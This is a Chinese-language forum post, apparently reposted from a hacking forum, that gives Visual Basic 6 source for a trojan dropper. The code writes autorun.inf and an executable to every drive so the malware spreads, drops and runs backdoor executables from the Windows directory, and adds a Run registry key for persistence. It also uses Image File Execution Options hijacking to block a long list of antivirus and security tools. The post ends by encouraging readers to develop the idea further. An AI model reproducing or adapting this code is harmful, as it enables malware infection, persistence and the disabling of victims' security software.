摘自红狼论坛，本文仅供技术交流，非法用途者后果自负

'新建一个工程,复制到标准模块
'释放inf/exe
'释放到系统所有盘
'root.exe编写
Sub Main()
Dim driv3() As String
Dim a As Integer
Dim ExeLen() As Byte
Dim door() As Byte
Dim i As Long
ExeLen = LoadResData(101, "Custom")
door = LoadResData(102, "custom")
On Error Resume Next

ReDim driv3(Form1.Drive1.ListCount - 1)
For a = 0 To Form1.Drive1.ListCount - 1
    If Dir(driv3(a) & "\autorun.inf") = "" Or Dir(driv3(a) & "\ok.exe") Then
   
    driv3(a) = Left(Form1.Drive1.List(a), 2)
    'Debug.Print driv3(a)
    Open driv3(a) & "\autorun.inf" For Binary As #1
        Put #1, , "[Autorun]" & vbCrLf
        Put #1, , "shell\open=打开(&O)" & vbCrLf
        Put #1, , "shell\open\Command=ok.exe" & vbCrLf
        Put #1, , "shell\open\Default=1" & vbCrLf
        Put #1, , "shell\explore=资源管理器(&X)" & vbCrLf
        Put #1, , "shell\explore\Command=ok.exe"
    Close
    Open driv3(a) & "\ok.exe" For Binary As #2
        For i = 0 To UBound(ExeLen)
            Put #2, , ExeLen(i)
        Next
    Close
    End If
Next

Open Environ("SystemRoot") & "\door.exe" For Binary As #3
    For ii = 0 To UBound(door)
        Put #1, , door(ii)
    Next
Close
Shell Environ("SystemRoot") & "\door.exe"
End
End Sub

'新建第二个工程,复制到标准模块***************************************************
Option Explicit
'ok.exe编写
'封装
'释放木马
'添加到启动项
'释放到c:\windows\
'运行

Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long

Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long

Public Const REG_SZ = 1                          ' Unicode nul terminated string
Public Const HKEY_LOCAL_MACHINE = &H80000002

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Function JieC(Pathlj As String) As Long
Dim Xvlue As String
Dim r As String
Dim hKey As Long
Dim XName As String
XName = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
r = "root" '我们要添加的项名;任意名
Xvlue = Pathlj
    JieC = RegCreateKey(HKEY_LOCAL_MACHINE, XName, hKey) '打开注册表项的一个句柄
    Debug.Print JieC
    If JieC = 0 Then '如果打开成功,那么.........
        JieC = RegSetValueEx(hKey, r, 0&, REG_SZ, ByVal Xvlue, LenB(Xvlue)) '设置一个项的值
    End If
   
    RegCloseKey hKey '关闭打开注册表项的句柄
End Function

Sub iefoX() '映像劫持ing
    Dim x() As Variant
    Dim i As Long, r As String, Xvlue As String
    Dim rege As String
    Dim heky As Long
    r = "Debugger"
    Xvlue = "debugfile.exe"
    rege = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\"
    x = Array("Ras.exe", "FTCleanerShell.e", "KWatchX.exe", "avp.com","xe", "loaddll.exe", "avp.exe", "runiep.exe", "HijackThis.exe","MagicSet.exe", _
"PFW.exe", "Iparmor.exe", "mcconsol.exe", "FYFireWall.exe","isPwdSvc.exe", "mmqczj.exe", "rfwmain.exe", "kabaload.exe","nod32krn.exe", _
"rfwsrv.exe", "KaScrScn.SCR", "PFWLiveUpdate.ex", "KAVPF.exe","KASMain.exe", "QHSET.exe", "KPFW32.exe", "KASTask.exe", "RavMonD.exe",_
"nod32kui.exe", "KAV32.exe", "RavStub.exe", "nod32.exe", "KAVDX.exe","RegClean.exe", "Navapsvc.exe", "KAVPFW.exe", "rfwcfg.exe", _
"Navapw32.exe", "KAVSetup.exe", "RfwMain.exe", "avconsol.exe","KAVStart.exe", "RsAgent.exe", "webscanx.exe", "KISLnchr.exe","Rsaupd.exe", _
"NPFMntor.exe", "KMailMon.exe", "safelive.exe", "vsstat.exe","KMFilter.exe", "scan32.exe", "KPfwSvc.exe", "KPFW32X.exe","shcfg32.exe", _
"RavTask.exe", "KPFWSvc.exe", "SmartUp.exe", "Rav.exe", "KRegEx.exe","SREng.EXE", "RavMon.exe", "KRepair.com", "symlcsvc.exe", "mmsk.exe","KsLoader.exe", "SysSafe.exe", _
"WoptiClean.exe", "KVCenter.kxp", "TrojanDetector.e", "QQKav.exe","KvDetect.exe", "Trojanwall.exe", "QQDoctor.exe", "KvfwMcl.exe","TrojDie.kxp", _
"EGHOST.exe", "KVMonXP.kxp", "UIHost.exe", "360Safe.exe","KVMonXP_1.kxp", "UmxAgent.exe", "iparmo.exe", "kvol.exe","UmxAttachment.ex", _
"adam.exe", "kvolself.exe", "UmxCfg.exe", "IceSword.exe","KvReport.kxp", "UmxFwHlp.exe", "360rpt.exe", "KVScan.kxp","UmxPol.exe", _
"360tray.exe", "KVSrvXP.exe", "UpLive.exe", "AgentSvr.exe","KVStub.kxp", "upiea.exe", "AppSvc32.exe", "kvupload.exe", "AST.exe", _
"autoruns.exe", "kvwsc.exe", "ArSwp.exe", "avgrssvc.exe", "KvXP.kxp","USBCleaner.exe", "AvMonitor.exe", "KvXP_1.kxp", "rstrui.exe", _
"CCenter.exe", "KWatch.exe", "ccSvcHst.exe", "KWatch9x.exe", "FileDsty.exe")

For i = LBound(x) To UBound(x)
    Debug.Print x(i)
    RegCreateKey HKEY_LOCAL_MACHINE, rege & x(i), hKey
    RegSetValueEx hKey, r, 0&, REG_SZ, ByVal Xvlue, LenB(Xvlue)
Next
RegCloseKey hKey
End Sub
Sub Main()
On Error Resume Next
Dim Trojan() As Byte
Dim Pathlj As String
Dim i As Long
Trojan = LoadResData(101, "CUSTOM") '木马
Pathlj = Environ("SystemRoot")
Pathlj = Pathlj & "\"
Pathlj = Pathlj & "root.exe"
Open Pathlj For Binary As #1 '释放后门木马
    For i = 0 To UBound(Trojan)
        Put #1, , Trojan(i)
    Next
Close
Shell Pathlj
Call JieC(Pathlj)
Call iefoX
End Sub
仅仅是一个思路...可以更深..........更深.............